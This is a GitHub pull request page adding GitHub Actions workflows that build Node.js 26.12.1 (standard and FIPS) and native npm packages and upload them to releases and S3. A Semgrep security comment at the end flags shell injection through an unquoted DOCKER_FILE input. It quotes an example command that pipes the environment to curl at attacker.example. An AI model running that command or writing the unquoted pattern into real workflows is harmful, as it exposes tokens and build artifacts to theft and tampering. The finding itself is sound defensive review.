Repository navigation
Node 26.12.1 build (RHEL 8 toolchain) for post-Fiber Elimination LunaServer #31
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Draft
jrsells
wants to merge
2
commits into
v26.12.1
Choose a base branch
from
jrsells/node-v26.12.1-rhel8
base: v26.12.1
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Draft
Changes from all commits
Commits
Show all changes
2 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,108 @@ | ||
| name: Build Node (FIPS) | ||
|
|
||
| on: | ||
| workflow_dispatch: | ||
| inputs: | ||
| BUILD_REF: | ||
| description: 'Git ref to build Node.js from' | ||
| required: true | ||
| default: 'v26.12.1' | ||
| type: string | ||
| DOCKER_FILE: | ||
| description: 'Dockerfile to use for building Node.js' | ||
| required: true | ||
| default: 'Dockerfile.Node26fips' | ||
| type: string | ||
|
|
||
| permissions: | ||
| contents: write | ||
|
|
||
| jobs: | ||
| build-node: | ||
| name: Build ${{ matrix.platform }}-${{ matrix.arch }} with FIPS OpenSSL | ||
| strategy: | ||
| fail-fast: false | ||
| matrix: | ||
| include: | ||
| - platform: linux | ||
| arch: x64 | ||
| runs_on: ubuntu-22.04 | ||
| - platform: linux | ||
| arch: arm64 | ||
| runs_on: ubuntu-22.04-arm | ||
| runs-on: ${{ matrix.runs_on }} | ||
|
|
||
| env: | ||
| REPO: ${{ github.repository }} | ||
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
|
|
||
| steps: | ||
| - name: Checkout Node fork | ||
| uses: actions/checkout@v4 | ||
| with: | ||
| path: node | ||
| ref: ${{ inputs.BUILD_REF }} | ||
|
|
||
| - name: Extract Node Version | ||
| run: | | ||
| NODE_MAJOR_VERSION=$(grep '#define NODE_MAJOR_VERSION' node/src/node_version.h | awk '{print $3}') | ||
| NODE_MINOR_VERSION=$(grep '#define NODE_MINOR_VERSION' node/src/node_version.h | awk '{print $3}') | ||
| NODE_PATCH_VERSION=$(grep '#define NODE_PATCH_VERSION' node/src/node_version.h | awk '{print $3}') | ||
| echo "NODE_VERSION=v${NODE_MAJOR_VERSION}.${NODE_MINOR_VERSION}.${NODE_PATCH_VERSION}" >> $GITHUB_ENV | ||
|
|
||
| - name: Set build metadata | ||
| id: meta | ||
| working-directory: node | ||
| run: | | ||
| TIMESTAMP=$(date -u +%Y-%m-%dT%H-%M) | ||
| SHORT_SHA=$(git rev-parse --short HEAD) | ||
| echo "BUILD_SHA=$(git rev-parse HEAD)" >> $GITHUB_ENV | ||
| echo "build_id=${TIMESTAMP}-${SHORT_SHA}" >> $GITHUB_OUTPUT | ||
|
|
||
| - name: Execute the Dockerfile | ||
| working-directory: node | ||
| run: | | ||
| docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} . | ||
|
|
||
| - name: Extract resources | ||
| run: | | ||
| docker create --name temp_node_extract node_fips_build | ||
| docker cp temp_node_extract:/usr/src/node/node-install $GITHUB_WORKSPACE/node-install | ||
| docker rm temp_node_extract | ||
|
|
||
| - name: Verify build | ||
| run: | | ||
| bash node/asana-verify-build.sh node-install --fips | ||
|
|
||
| - name: Archive Node | ||
| run: | | ||
| mkdir -p artifacts | ||
| FILENAME=node-${NODE_VERSION}-fips-${{ matrix.platform }}-${{ matrix.arch }}-${{ steps.meta.outputs.build_id }}.tar.xz | ||
| FILENAME_LATEST=node-${NODE_VERSION}-fips-${{ matrix.platform }}-${{ matrix.arch }}-LATEST.tar.xz | ||
| tar -C node-install -cJf artifacts/$FILENAME . | ||
| cp artifacts/$FILENAME artifacts/$FILENAME_LATEST | ||
| echo "NODE_ARCHIVE=$FILENAME" >> $GITHUB_ENV | ||
| echo "NODE_ARCHIVE_LATEST=$FILENAME_LATEST" >> $GITHUB_ENV | ||
|
|
||
| - name: Upload Node archive | ||
| uses: actions/upload-artifact@v4 | ||
| with: | ||
| name: node-${{ env.NODE_VERSION }}-fips-${{ matrix.platform }}-${{ matrix.arch }}-${{ steps.meta.outputs.build_id }} | ||
| path: artifacts/${{ env.NODE_ARCHIVE }} | ||
|
|
||
| - name: Upload Node archive latest | ||
| uses: actions/upload-artifact@v4 | ||
| with: | ||
| name: node-${{ env.NODE_VERSION }}-fips-${{ matrix.platform }}-${{ matrix.arch }}-LATEST | ||
| path: artifacts/${{ env.NODE_ARCHIVE_LATEST }} | ||
|
|
||
| - name: Upload Node archive to release | ||
| run: | | ||
| TAG="node-${NODE_VERSION}-fips-release" | ||
| RELEASE_NAME="node-${NODE_VERSION}-fips-LATEST" | ||
| if ! gh release view "$TAG" --repo "$REPO" >/dev/null 2>&1; then | ||
| gh release create "$TAG" --title "$RELEASE_NAME" --notes "" --target "$BUILD_SHA" --repo "$REPO" \ | ||
| || gh release view "$TAG" --repo "$REPO" >/dev/null | ||
| fi | ||
| gh release upload "$TAG" "artifacts/${NODE_ARCHIVE_LATEST}" --clobber --repo "$REPO" | ||
| gh release edit "$TAG" --title "$RELEASE_NAME" --repo "$REPO" | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,151 @@ | ||
| name: Build Node-Packages | ||
|
|
||
| on: | ||
| workflow_dispatch: | ||
| inputs: | ||
| NODE_REF: | ||
| description: 'Branch with the Node source and Dockerfile.Packages (defaults to the ref the workflow runs from)' | ||
| required: false | ||
| default: '' | ||
| type: string | ||
| workflow_run: | ||
| workflows: ["Build Node (Standard)"] | ||
| types: | ||
| - completed | ||
| branches: | ||
| - v26.12.1 | ||
|
|
||
| jobs: | ||
| build-packages: | ||
| if: ${{ github.event_name == 'workflow_dispatch' || github.event.workflow_run.conclusion == 'success' }} | ||
| permissions: | ||
| id-token: write | ||
| contents: write | ||
| strategy: | ||
| fail-fast: false | ||
| matrix: | ||
| include: | ||
| - platform: linux | ||
| arch: x64 | ||
| bazel_arch: amd64 | ||
| runs_on: ubuntu-22.04 | ||
| - platform: linux | ||
| arch: arm64 | ||
| bazel_arch: arm64 | ||
| runs_on: ubuntu-22.04-arm | ||
| runs-on: ${{ matrix.runs_on }} | ||
|
|
||
| env: | ||
| PLATFORM: ${{ matrix.platform }} | ||
| ARCH: ${{ matrix.arch }} | ||
| BAZEL_ARCH: ${{ matrix.bazel_arch }} | ||
| REPO: ${{ github.repository }} | ||
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
|
|
||
| steps: | ||
| # The workflow YAML runs from whichever ref triggered it (main for a workflow_dispatch | ||
| # that should upload to S3); that's what the OIDC subject claim binds to, and it's how | ||
| # the IAM role's ref_patterns gate works. `ref:` here only controls which tree gets | ||
| # checked out into $GITHUB_WORKSPACE. | ||
| - name: Checkout repository | ||
| uses: actions/checkout@v4 | ||
| with: | ||
| ref: ${{ inputs.NODE_REF || github.event.workflow_run.head_branch || github.ref_name }} | ||
|
|
||
| - name: Extract Node Version | ||
| run: | | ||
| NODE_MAJOR_VERSION=$(grep '#define NODE_MAJOR_VERSION' src/node_version.h | awk '{print $3}') | ||
| NODE_MINOR_VERSION=$(grep '#define NODE_MINOR_VERSION' src/node_version.h | awk '{print $3}') | ||
| NODE_PATCH_VERSION=$(grep '#define NODE_PATCH_VERSION' src/node_version.h | awk '{print $3}') | ||
| echo "NODE_VERSION=v${NODE_MAJOR_VERSION}.${NODE_MINOR_VERSION}.${NODE_PATCH_VERSION}" >> $GITHUB_ENV | ||
|
|
||
| - name: Download Node archive | ||
| run: | | ||
| ASSET="node-${NODE_VERSION}-${PLATFORM}-${ARCH}-LATEST.tar.xz" | ||
| gh release download "node-${NODE_VERSION}-release" \ | ||
| --repo "$REPO" \ | ||
| --pattern "$ASSET" | ||
| mv "$ASSET" node.tar.xz | ||
|
|
||
| - name: Execute the Dockerfile | ||
| run: | | ||
| docker build -t node_packages_build -f Dockerfile.Packages . | ||
|
|
||
| - name: Extract resources | ||
| run: | | ||
| docker create --name temp_node_packages_extract node_packages_build | ||
| docker cp temp_node_packages_extract:/usr/src/node/node_modules $GITHUB_WORKSPACE/node_modules | ||
| docker rm temp_node_packages_extract | ||
|
|
||
| - name: Tar node-packages | ||
| run: | | ||
| # Lay each package out as its rules_js store directory: <name with / as +>@<version>. | ||
| version_of() { sed -n "s/^ARG $1=//p" Dockerfile.Packages; } | ||
| DIRS=() | ||
| for spec in "bcrypt BCRYPT_VERSION" "cld CLD_VERSION" "unix-dgram UNIX_DGRAM_VERSION" "@datadog/pprof PPROF_VERSION"; do | ||
| set -- $spec | ||
| name=$1 | ||
| version=$(version_of "$2") | ||
| dir="${name//\//+}@${version}" | ||
| mkdir -p "$dir/node_modules/$(dirname "$name")" | ||
| mv "node_modules/$name" "$dir/node_modules/$name" | ||
| DIRS+=("$dir") | ||
| done | ||
| tar --hard-dereference -cvzf "packages_${ARCH}.tar.gz" "${DIRS[@]}" | ||
|
|
||
| - name: Upload archive to release | ||
| run: | | ||
| gh release upload "node-${NODE_VERSION}-release" \ | ||
| "packages_${ARCH}.tar.gz" \ | ||
| --clobber \ | ||
| --repo "$REPO" | ||
|
|
||
| # S3 upload is restricted to the protected main branch only. The IAM role | ||
| # (push_node_gyp_packages) trusts only refs/heads/main via OIDC. To upload | ||
| # packages to S3 after a Node upgrade, trigger workflow_dispatch from main with NODE_REF. | ||
| - name: Configure AWS credentials | ||
| if: github.ref == 'refs/heads/main' | ||
| uses: aws-actions/configure-aws-credentials@v4 | ||
| with: | ||
| aws-region: us-east-1 | ||
| role-to-assume: arn:aws:iam::403483446840:role/autogen_github_actions_beta_push_node_gyp_packages | ||
|
|
||
| - name: Upload packages to S3 | ||
| if: github.ref == 'refs/heads/main' | ||
| run: | | ||
| # No --acl public-read: the bucket has BucketOwnerEnforced | ||
| # (disable_confusing_acls = true), which disables ACLs entirely. | ||
| # Reads come via CloudFront OAC. | ||
| NODE_MAJOR=$(echo "$NODE_VERSION" | sed 's/^v//' | cut -d. -f1) | ||
| SHA256=$(sha256sum "packages_${ARCH}.tar.gz" | awk '{print $1}') | ||
| SHORT_HASH=${SHA256:0:8} | ||
| S3_KEY="node-gyp/packages_${BAZEL_ARCH}_node${NODE_MAJOR}-${SHORT_HASH}.tar.gz" | ||
| echo "Uploading packages_${ARCH}.tar.gz to s3://asana-oss-cache/$S3_KEY" | ||
| aws s3 cp "packages_${ARCH}.tar.gz" "s3://asana-oss-cache/$S3_KEY" | ||
| { | ||
| echo "S3_KEY=$S3_KEY" | ||
| echo "SHA256=$SHA256" | ||
| echo "NODE_MAJOR=$NODE_MAJOR" | ||
| } >> "$GITHUB_ENV" | ||
|
|
||
| - name: Verify upload is reachable via CloudFront | ||
| if: github.ref == 'refs/heads/main' | ||
| run: | | ||
| # Mac Bazel builds rewrite asana-oss-cache.s3.us-east-1.amazonaws.com/* | ||
| # to asana-oss-cache.asana.biz/* (CloudFront). If the S3 key prefix isn't | ||
| # allowlisted in CloudFront's path_patterns, Bazel fetches will 403. | ||
| URL="https://asana-oss-cache.asana.biz/$S3_KEY" | ||
| echo "Checking $URL" | ||
| if ! curl -fsSI "$URL"; then | ||
| echo "CloudFront returned an error for $URL. Check path_patterns in system_packages.tf." | ||
| exit 1 | ||
| fi | ||
|
|
||
| - name: Print tools_repositories.bzl stanza | ||
| if: github.ref == 'refs/heads/main' | ||
| run: | | ||
| echo "" | ||
| echo "=== Update tools_repositories.bzl in codez ===" | ||
| echo " name = \"node_gyp_packages_${BAZEL_ARCH}_node${NODE_MAJOR}\"," | ||
| echo " urls = [\"https://asana-oss-cache.s3.us-east-1.amazonaws.com/$S3_KEY\"]," | ||
| echo " sha256 = \"$SHA256\"," |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,98 @@ | ||
| name: Build Node (Standard) | ||
|
|
||
| on: | ||
| workflow_dispatch: | ||
|
|
||
| permissions: | ||
| contents: write | ||
|
|
||
| jobs: | ||
| build-node: | ||
| name: Build ${{ matrix.platform }}-${{ matrix.arch }} | ||
| strategy: | ||
| fail-fast: false | ||
| matrix: | ||
| include: | ||
| - platform: linux | ||
| arch: x64 | ||
| runs_on: ubuntu-22.04 | ||
| - platform: linux | ||
| arch: arm64 | ||
| runs_on: ubuntu-22.04-arm | ||
| runs-on: ${{ matrix.runs_on }} | ||
|
|
||
| env: | ||
| REPO: ${{ github.repository }} | ||
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
|
|
||
| steps: | ||
| - name: Checkout Node fork | ||
| uses: actions/checkout@v4 | ||
| with: | ||
| path: node | ||
| ref: ${{ github.ref_name }} | ||
|
|
||
| - name: Extract Node Version | ||
| run: | | ||
| NODE_MAJOR_VERSION=$(grep '#define NODE_MAJOR_VERSION' node/src/node_version.h | awk '{print $3}') | ||
| NODE_MINOR_VERSION=$(grep '#define NODE_MINOR_VERSION' node/src/node_version.h | awk '{print $3}') | ||
| NODE_PATCH_VERSION=$(grep '#define NODE_PATCH_VERSION' node/src/node_version.h | awk '{print $3}') | ||
| echo "NODE_MAJOR_VERSION=${NODE_MAJOR_VERSION}" >> $GITHUB_ENV | ||
| echo "NODE_VERSION=v${NODE_MAJOR_VERSION}.${NODE_MINOR_VERSION}.${NODE_PATCH_VERSION}" >> $GITHUB_ENV | ||
|
|
||
| - name: Set build metadata | ||
| id: meta | ||
| working-directory: node | ||
| run: | | ||
| TIMESTAMP=$(date -u +%Y-%m-%dT%H-%M) | ||
| SHORT_SHA=$(git rev-parse --short HEAD) | ||
| echo "BUILD_SHA=$(git rev-parse HEAD)" >> $GITHUB_ENV | ||
| echo "build_id=${TIMESTAMP}-${SHORT_SHA}" >> $GITHUB_OUTPUT | ||
|
|
||
| - name: Execute the Dockerfile | ||
| working-directory: node | ||
| run: | | ||
| docker build -t node_build -f ./Dockerfile.Node${NODE_MAJOR_VERSION} . | ||
|
|
||
| - name: Extract resources | ||
| run: | | ||
| docker create --name temp_node_extract node_build | ||
| docker cp temp_node_extract:/usr/src/node/node-install $GITHUB_WORKSPACE/node-install | ||
| docker rm temp_node_extract | ||
|
|
||
| - name: Verify build | ||
| run: | | ||
| bash node/asana-verify-build.sh node-install | ||
|
|
||
| - name: Archive Node | ||
| run: | | ||
| mkdir -p artifacts | ||
| FILENAME=node-${NODE_VERSION}-${{ matrix.platform }}-${{ matrix.arch }}-${{ steps.meta.outputs.build_id }}.tar.xz | ||
| FILENAME_LATEST=node-${NODE_VERSION}-${{ matrix.platform }}-${{ matrix.arch }}-LATEST.tar.xz | ||
| tar -C node-install -cJf artifacts/$FILENAME . | ||
| cp artifacts/$FILENAME artifacts/$FILENAME_LATEST | ||
| echo "NODE_ARCHIVE=$FILENAME" >> $GITHUB_ENV | ||
| echo "NODE_ARCHIVE_LATEST=$FILENAME_LATEST" >> $GITHUB_ENV | ||
|
|
||
| - name: Upload Node archive | ||
| uses: actions/upload-artifact@v4 | ||
| with: | ||
| name: node-${{ env.NODE_VERSION }}-${{ matrix.platform }}-${{ matrix.arch }}-${{ steps.meta.outputs.build_id }} | ||
| path: artifacts/${{ env.NODE_ARCHIVE }} | ||
|
|
||
| - name: Upload Node archive latest | ||
| uses: actions/upload-artifact@v4 | ||
| with: | ||
| name: node-${{ env.NODE_VERSION }}-${{ matrix.platform }}-${{ matrix.arch }}-LATEST | ||
| path: artifacts/${{ env.NODE_ARCHIVE_LATEST }} | ||
|
|
||
| - name: Upload Node archive to release | ||
| run: | | ||
| TAG="node-${NODE_VERSION}-release" | ||
| RELEASE_NAME="node-${NODE_VERSION}-LATEST" | ||
| if ! gh release view "$TAG" --repo "$REPO" >/dev/null 2>&1; then | ||
| gh release create "$TAG" --title "$RELEASE_NAME" --notes "" --target "$BUILD_SHA" --repo "$REPO" \ | ||
| || gh release view "$TAG" --repo "$REPO" >/dev/null | ||
| fi | ||
| gh release upload "$TAG" "artifacts/${NODE_ARCHIVE_LATEST}" --clobber --repo "$REPO" | ||
| gh release edit "$TAG" --title "$RELEASE_NAME" --repo "$REPO" |
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🟠 High severity blocking issue identified in your code:
The untrusted
inputs.DOCKER_FILEvalue is inserted into a shell command, allowing a caller to execute commands on the GitHub Actions runner and exfiltrateGH_TOKENor modify build artifacts.More details about this
inputs.DOCKER_FILEis interpolated directly into the shell script that runsdocker build. Because workflow inputs can be controlled by a workflow caller or an untrusted workflow trigger, an attacker can supply shell metacharacters instead of only a Dockerfile path.For example, a malicious input such as:
turns the step into commands equivalent to:
docker build -t node_fips_build -f ./Dockerfile env | curl -X POST --data-binary @- https://attacker.example/collectThe injected command executes on the GitHub runner with the workflow environment, including
GH_TOKENfromsecrets.GITHUB_TOKEN, and can send that token, checked-out source, or other runner data to the attacker. Since this step runs before artifact creation, the attacker can also alter the build or workspace and influence the files later archived byUpload Node archive.To resolve this comment:
✨ Commit fix suggestion
View step-by-step instructions
env:block instead of interpolating it directly in the shell script:working-directory: nodesetting so the Dockerfile path remains relative to the checked-out Node source. Quoting"$DOCKER_FILE"prevents input characters from being interpreted as shell syntax.💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasonsAlternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.
Please reach out to Security (go/sec-inbox) if you need help with this.
You can view more details about this finding in the Semgrep AppSec Platform.